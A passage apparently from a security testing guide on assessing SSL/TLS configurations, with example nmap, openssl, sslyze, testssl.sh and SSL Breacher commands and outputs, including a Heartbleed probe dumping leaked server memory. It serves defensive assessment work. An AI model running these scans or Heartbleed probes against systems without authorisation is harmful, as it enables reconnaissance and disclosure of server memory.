21/tcp open ftp syn-ack Pure-FTPd<br />
22/tcp open ssh syn-ack OpenSSH 5.3 (protocol 2.0)<br />
25/tcp open smtp syn-ack Exim smtpd 4.80<br />
26/tcp open smtp syn-ack Exim smtpd 4.80<br />
80/tcp open http syn-ack<br />
110/tcp open pop3 syn-ack Dovecot pop3d<br />
143/tcp open imap syn-ack Dovecot imapd<br />
443/tcp open ssl/http syn-ack Apache<br />
465/tcp open ssl/smtp syn-ack Exim smtpd 4.80<br />
993/tcp open ssl/imap syn-ack Dovecot imapd<br />
995/tcp open ssl/pop3 syn-ack Dovecot pop3d<br />
Service Info: Hosts: example.com<br />
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .<br />
Nmap done: 1 IP address (1 host up) scanned in 131.38 seconds<br />
</pre><br />
<br />
<br />
====Example 3. Checking for Certificate information, Weak Ciphers and SSLv2 via nmap====<br />
Nmap has two scripts for checking Certificate information, Weak Ciphers and SSLv2 [31].<br />
<br />
<pre><br />
$ nmap --script ssl-cert,ssl-enum-ciphers -p 443,465,993,995 www.example.com<br />
Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-01 00:00 CEST<br />
Nmap scan report for www.example.com (127.0.0.1)<br />
Host is up (0.090s latency).<br />
rDNS record for 127.0.0.1: www.example.com<br />
PORT STATE SERVICE<br />
443/tcp open https<br />
| ssl-cert: Subject: commonName=www.example.org<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 1024<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
465/tcp open smtps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
993/tcp open imaps<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
995/tcp open pop3s<br />
| ssl-cert: Subject: commonName=*.exapmple.com<br />
| Issuer: commonName=*******<br />
| Public Key type: rsa<br />
| Public Key bits: 2048<br />
| Not valid before: 2010-01-23T00:00:00+00:00<br />
| Not valid after: 2020-02-28T23:59:59+00:00<br />
| MD5: *******<br />
|_SHA-1: *******<br />
| ssl-enum-ciphers: <br />
| SSLv3: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
| TLSv1.0: <br />
| ciphers: <br />
| TLS_RSA_WITH_CAMELLIA_128_CBC_SHA - strong<br />
| TLS_RSA_WITH_CAMELLIA_256_CBC_SHA - strong<br />
| TLS_RSA_WITH_RC4_128_SHA - strong<br />
| compressors: <br />
| NULL<br />
|_ least strength: strong<br />
Nmap done: 1 IP address (1 host up) scanned in 8.64 seconds<br />
</pre><br />
<br />
<br />
====Example 4 Checking for Client-initiated Renegotiation and Secure Renegotiation via openssl (manually)====<br />
<br />
Openssl [30] can be used for testing manually SSL/TLS. In this example the tester tries to initiate a renegotiation by client [m] connecting to server with openssl. The tester then writes the fist line of an HTTP request and types “R” in a new line. He then waits for renegotiaion and completion of the HTTP request and checks if secure renegotiaion is supported by looking at the server output. Using manual requests it is also possible to see if Compression is enabled for TLS and to check for CRIME [13], for ciphers and for other vulnerabilities. <br />
<br />
<pre><br />
$ openssl s_client -connect www2.example.com:443<br />
CONNECTED(00000003)<br />
depth=2 ******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
---<br />
Certificate chain<br />
0 s:******<br />
i:******<br />
1 s:******<br />
i:******<br />
2 s:******<br />
i:******<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
******<br />
-----END CERTIFICATE-----<br />
subject=******<br />
issuer=******<br />
---<br />
No client certificate CA names sent<br />
---<br />
SSL handshake has read 3558 bytes and written 640 bytes<br />
---<br />
New, TLSv1/SSLv3, Cipher is DES-CBC3-SHA<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
SSL-Session:<br />
Protocol : TLSv1<br />
Cipher : DES-CBC3-SHA<br />
Session-ID: ******<br />
Session-ID-ctx: <br />
Master-Key: ******<br />
Key-Arg : None<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
Start Time: ******<br />
Timeout : 300 (sec)<br />
Verify return code: 20 (unable to get local issuer certificate)<br />
---<br />
</pre><br />
<br />
<br />
Now the tester can write the first line of an HTTP request and then R in a new line.<br />
<pre><br />
HEAD / HTTP/1.1<br />
R<br />
</pre><br />
<br />
Server is renegotiating<br />
<pre><br />
RENEGOTIATING<br />
depth=2 C******<br />
verify error:num=20:unable to get local issuer certificate<br />
verify return:0<br />
</pre><br />
<br />
And the tester can complete our request, checking for response.<br />
<pre><br />
HEAD / HTTP/1.1<br />
<br />
HTTP/1.1 403 Forbidden ( The server denies the specified Uniform Resource Locator (URL). Contact the server administrator. )<br />
Connection: close<br />
Pragma: no-cache<br />
Cache-Control: no-cache<br />
Content-Type: text/html<br />
Content-Length: 1792 <br />
<br />
read:errno=0<br />
</pre><br />
<br />
Even if the HEAD is not permitted, Client-intiated renegotiaion is permitted.<br />
<br />
<br />
====Example 5. Testing supported Cipher Suites, BEAST and CRIME attacks via TestSSLServer====<br />
<br />
TestSSLServer [32] is a script which permits the tester to check the cipher suite and also for BEAST and CRIME attacks. BEAST (Browser Exploit Against SSL/TLS) exploits a vulnerability of CBC in TLS 1.0. CRIME (Compression Ratio Info-leak Made Easy) exploits a vulnerability of TLS Compression, that should be disabled. What is interesting is that the first fix for BEAST was the use of RC4, but this is now discouraged due to a crypto-analytical attack to RC4 [15].<br />
<br />
<br />
An online tool to check for these attacks is SSL Labs, but can be used only for internet facing servers. Also consider that target data will be stored on SSL Labs server and also will result some connection from SSL Labs server [21].<br />
<br />
<pre><br />
$ java -jar TestSSLServer.jar www3.example.com 443<br />
Supported versions: SSLv3 TLSv1.0 TLSv1.1 TLSv1.2<br />
Deflate compression: no<br />
Supported cipher suites (ORDER IS NOT SIGNIFICANT):<br />
SSLv3<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
(TLSv1.0: idem)<br />
(TLSv1.1: idem)<br />
TLSv1.2<br />
RSA_WITH_RC4_128_SHA<br />
RSA_WITH_3DES_EDE_CBC_SHA<br />
DHE_RSA_WITH_3DES_EDE_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA<br />
RSA_WITH_AES_256_CBC_SHA<br />
DHE_RSA_WITH_AES_256_CBC_SHA<br />
RSA_WITH_AES_128_CBC_SHA256<br />
RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_128_CBC_SHA<br />
DHE_RSA_WITH_AES_128_CBC_SHA256<br />
DHE_RSA_WITH_AES_256_CBC_SHA256<br />
RSA_WITH_CAMELLIA_256_CBC_SHA<br />
DHE_RSA_WITH_CAMELLIA_256_CBC_SHA<br />
TLS_RSA_WITH_SEED_CBC_SHA<br />
TLS_DHE_RSA_WITH_SEED_CBC_SHA<br />
TLS_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_RSA_WITH_AES_256_GCM_SHA384<br />
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256<br />
TLS_DHE_RSA_WITH_AES_256_GCM_SHA384<br />
----------------------<br />
Server certificate(s):<br />
******<br />
----------------------<br />
Minimal encryption strength: strong encryption (96-bit or more)<br />
Achievable encryption strength: strong encryption (96-bit or more)<br />
BEAST status: vulnerable<br />
CRIME status: protected<br />
<br />
</pre><br />
<br />
<br />
====Example 6. Testing SSL/TLS vulnerabilities with sslyze====<br />
Sslyze [33] is a python script which permits mass scanning and XML output. The following is an example of a regular scan. It is one of the most complete and versatile tools for SSL/TLS testing.<br />
<br />
<pre><br />
./sslyze.py --regular example.com:443<br />
<br />
REGISTERING AVAILABLE PLUGINS<br />
-----------------------------<br />
<br />
PluginHSTS<br />
PluginSessionRenegotiation<br />
PluginCertInfo<br />
PluginSessionResumption<br />
PluginOpenSSLCipherSuites<br />
PluginCompression<br />
<br />
<br />
<br />
CHECKING HOST(S) AVAILABILITY<br />
-----------------------------<br />
<br />
example.com:443 => 127.0.0.1:443<br />
<br />
<br />
<br />
SCAN RESULTS FOR EXAMPLE.COM:443 - 127.0.0.1:443<br />
---------------------------------------------------<br />
<br />
* Compression :<br />
Compression Support: Disabled<br />
<br />
* Session Renegotiation :<br />
Client-initiated Renegotiations: Rejected<br />
Secure Renegotiation: Supported<br />
<br />
* Certificate :<br />
Validation w/ Mozilla's CA Store: Certificate is NOT Trusted: unable to get local issuer certificate<br />
Hostname Validation: MISMATCH <br />
SHA1 Fingerprint: ******<br />
<br />
Common Name: www.example.com <br />
Issuer: ******<br />
Serial Number: **** <br />
Not Before: Sep 26 00:00:00 2010 GMT <br />
Not After: Sep 26 23:59:59 2020 GMT <br />
<br />
Signature Algorithm: sha1WithRSAEncryption <br />
Key Size: 1024 bit <br />
X509v3 Subject Alternative Name: {'othername': ['<unsupported>'], 'DNS': ['www.example.com']}<br />
<br />
* OCSP Stapling :<br />
Server did not send back an OCSP response. <br />
<br />
* Session Resumption :<br />
With Session IDs: Supported (5 successful, 0 failed, 0 errors, 5 total attempts).<br />
With TLS Session Tickets: Supported<br />
<br />
* SSLV2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* SSLV3 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits HTTP 200 OK <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: None <br />
<br />
* TLSV1_1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-SHA socket.timeout - timed out <br />
ECDH-ECDSA-AES256-SHA socket.timeout - timed out <br />
<br />
* TLSV1_2 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: None <br />
<br />
Accepted Cipher Suite(s): None <br />
<br />
Undefined - An unexpected error happened: <br />
ECDH-RSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
ECDH-ECDSA-AES256-GCM-SHA384 socket.timeout - timed out <br />
<br />
* TLSV1 Cipher Suites :<br />
<br />
Rejected Cipher Suite(s): Hidden <br />
<br />
Preferred Cipher Suite: <br />
RC4-SHA 128 bits Timeout on HTTP GET <br />
<br />
Accepted Cipher Suite(s): <br />
CAMELLIA256-SHA 256 bits HTTP 200 OK <br />
RC4-SHA 128 bits HTTP 200 OK <br />
CAMELLIA128-SHA 128 bits HTTP 200 OK <br />
<br />
Undefined - An unexpected error happened: <br />
ADH-CAMELLIA256-SHA socket.timeout - timed out <br />
<br />
<br />
<br />
SCAN COMPLETED IN 9.68 S<br />
------------------------<br />
</pre><br />
<br />
<br />
====Example 7. Testing SSL/TLS with testssl.sh====<br />
Testssl.sh [38] is a Linux shell script which provides clear output to facilitate good decision making. It can not only check web servers but also services on other ports, supports STARTTLS, SNI, SPDY and does a few check on the HTTP header as well. <br />
<br />
<br />
It's a very easy to use tool. Here's some sample output (without colors):<br />
<pre><br />
user@myhost: % testssl.sh owasp.org <br />
<br />
########################################################<br />
testssl.sh v2.0rc3 (https://testssl.sh)<br />
($Id: testssl.sh,v 1.97 2014/04/15 21:54:29 dirkw Exp $)<br />
<br />
This program is free software. Redistribution + <br />
modification under GPLv2 is permitted. <br />
USAGE w/o ANY WARRANTY. USE IT AT YOUR OWN RISK!<br />
<br />
Note you can only check the server against what is<br />
available (ciphers/protocols) locally on your machine<br />
########################################################<br />
<br />
Using "OpenSSL 1.0.2-beta1 24 Feb 2014" on<br />
"myhost:/<mypath>/bin/openssl64"<br />
<br />
<br />
Testing now (2014-04-17 15:06) ---> owasp.org:443 <---<br />
("owasp.org" resolves to "192.237.166.62 / 2001:4801:7821:77:cd2c:d9de:ff10:170e") <br />
<br />
<br />
--> Testing Protocols<br />
<br />
SSLv2 NOT offered (ok) <br />
SSLv3 offered <br />
TLSv1 offered (ok) <br />
TLSv1.1 offered (ok) <br />
TLSv1.2 offered (ok) <br />
<br />
SPDY/NPN not offered<br />
<br />
--> Testing standard cipher lists<br />
<br />
Null Cipher NOT offered (ok) <br />
Anonymous NULL Cipher NOT offered (ok) <br />
Anonymous DH Cipher NOT offered (ok) <br />
40 Bit encryption NOT offered (ok) <br />
56 Bit encryption NOT offered (ok) <br />
Export Cipher (general) NOT offered (ok) <br />
Low (<=64 Bit) NOT offered (ok) <br />
DES Cipher NOT offered (ok) <br />
Triple DES Cipher offered<br />
Medium grade encryption offered<br />
High grade encryption offered (ok) <br />
<br />
--> Testing server defaults (Server Hello)<br />
<br />
Negotiated protocol TLSv1.2 <br />
Negotiated cipher AES128-GCM-SHA256 <br />
<br />
Server key size 2048 bit<br />
TLS server extensions: server name, renegotiation info, session ticket, heartbeat<br />
Session Tickets RFC 5077 300 seconds<br />
<br />
--> Testing specific vulnerabilities<br />
<br />
Heartbleed (CVE-2014-0160), experimental NOT vulnerable (ok) <br />
Renegotiation (CVE 2009-3555) NOT vulnerable (ok) <br />
CRIME, TLS (CVE-2012-4929) NOT vulnerable (ok) <br />
<br />
--> Checking RC4 Ciphers <br />
<br />
RC4 seems generally available. Now testing specific ciphers...<br />
<br />
Hexcode Cipher Name KeyExch. Encryption Bits<br />
--------------------------------------------------------------------<br />
[0x05] RC4-SHA RSA RC4 128<br />
<br />
RC4 is kind of broken, for e.g. IE6 consider 0x13 or 0x0a<br />
<br />
--> Testing HTTP Header response <br />
<br />
HSTS no <br />
Server Apache<br />
Application (None)<br />
<br />
--> Testing (Perfect) Forward Secrecy (P)FS) <br />
<br />
no PFS available <br />
<br />
Done now (2014-04-17 15:07) ---> owasp.org:443 <---<br />
<br />
user@myhost: % <br />
<br />
<br />
</pre><br />
<br />
<br />
STARTTLS would be tested via <code>testssl.sh -t smtp.gmail.com:587 smtp</code>, each ciphers with <code>testssl -e <target></code>, each ciphers per protocol with <code>testssl -E <target></code>. To just display what local ciphers that are installed for openssl see <code>testssl -V</code>. For a thorough check it is best to dump the supplied OpenSSL binaries in the path or the one of testssl.sh.<br />
<br />
<br />
The interesting thing is if a tester looks at the sources they learn how features are tested, see e.g. Example 4. What is even better is that it does the whole handshake for heartbleed in pure /bin/bash with /dev/tcp sockets -- no piggyback perl/python/you name it. <br />
<br />
<br />
Additionally it provides a prototype (via "testssl.sh -V") of mapping to RFC cipher suite names to OpenSSL ones. The tester needs the file mapping-rfc.txt in same directory.<br />
<br />
<br />
====Example 8. Testing SSL/TLS with SSL Breacher ====<br />
This tool is combination of several other tools plus some additional checks in complementing most comprehensive SSL tests.<br />
It supports the following checks:<br />
#HeartBleed<br />
#ChangeCipherSpec Injection<br />
#BREACH <br />
#BEAST <br />
#Forward Secrecy support<br />
#RC4 support<br />
#CRIME & TIME (If CRIME is detected, TIME will also be reported)<br />
#Lucky13<br />
#HSTS: Check for implementation of HSTS header<br />
# HSTS: Reasonable duration of MAX-AGE <br />
# HSTS: Check for SubDomains support<br />
#Certificate expiration<br />
#Insufficient public key-length<br />
#Host-name mismatch<br />
#Weak Insecure Hashing Algorithm (MD2, MD4, MD5)<br />
#SSLv2 support<br />
#Weak ciphers check<br />
#Null Prefix in certificate<br />
#HTTPS Stripping<br />
#Non-SSL elements/contents embedded in SSL page<br />
#Cache-Control<br />
<br />
<br />
<pre><br />
pentester@r00ting: % breacher.sh https://localhost/<br />
<br />
Host Info:<br />
==============<br />
Host : localhost<br />
Port : 443<br />
Certificate Validation : false<br />
<br />
<br />
<br />
Certificate Info:<br />
==================<br />
Type: Domain Validation Certificate (i.e. NON-Extended Validation Certificate)<br />
Expiration Date: Sat Nov 09 07:48:47 SGT 2019<br />
Signature Hash Algorithm: SHA1withRSA<br />
Public key: Sun RSA public key, 1024 bits<br />
modulus: 135632964843555009910164098161004086259135236815846778903941582882908611097021488277565732851712895057227849656364886898196239901879569635659861770850920241178222686670162318147175328086853962427921575656093414000691131757099663322369656756090030190369923050306668778534926124693591013220754558036175189121517<br />
public exponent: 65537<br />
Signed for: CN=localhost<br />
Signed by: CN=localhost<br />
Total certificate chain: 1<br />
<br />
(Use -Djavax.net.debug=ssl:handshake:verbose for debugged output.)<br />
<br />
=====================================<br />
<br />
Certificate Validation:<br />
===============================<br />
[!] Signed using Insufficient public key length 1024 bits<br />
(Refer to http://www.keylength.com/ for details)<br />
[!] Certificate Signer: Self-signed/Untrusted CA - verified with Firefox & Java ROOT CAs.<br />
<br />
=====================================<br />
<br />
Loading module: Hut3 Cardiac Arrest ...<br />
<br />
Checking localhost:443 for Heartbleed bug (CVE-2014-0160) ...<br />
<br />
[-] Connecting to 127.0.0.1:443 using SSLv3<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over SSLv3<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 00 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.0<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.0<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 01 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.<br />
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.<br />
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.<br />
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...<br />
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.<br />
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............<br />
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........<br />
<br />
[-] Closing connection<br />
<br />
[-] Connecting to 127.0.0.1:443 using TLSv1.1<br />
[-] Sending ClientHello<br />
[-] ServerHello received<br />
[-] Sending Heartbeat<br />
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is vulnerable over TLSv1.1<br />
[-] Displaying response (lines consisting entirely of null bytes are removed):<br />
<br />
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....<br />
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........<br />
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........<br />
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.".<br />
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.'.(.).*.<br />
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.<br />
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.<br />
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.<br />
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.<br />
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.<br />
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............<br />
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.".#.$.%.&.'.<br />
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.<br />
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.<br />
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.<br />
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.<br />
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.<br />
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.<br />
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.<br />
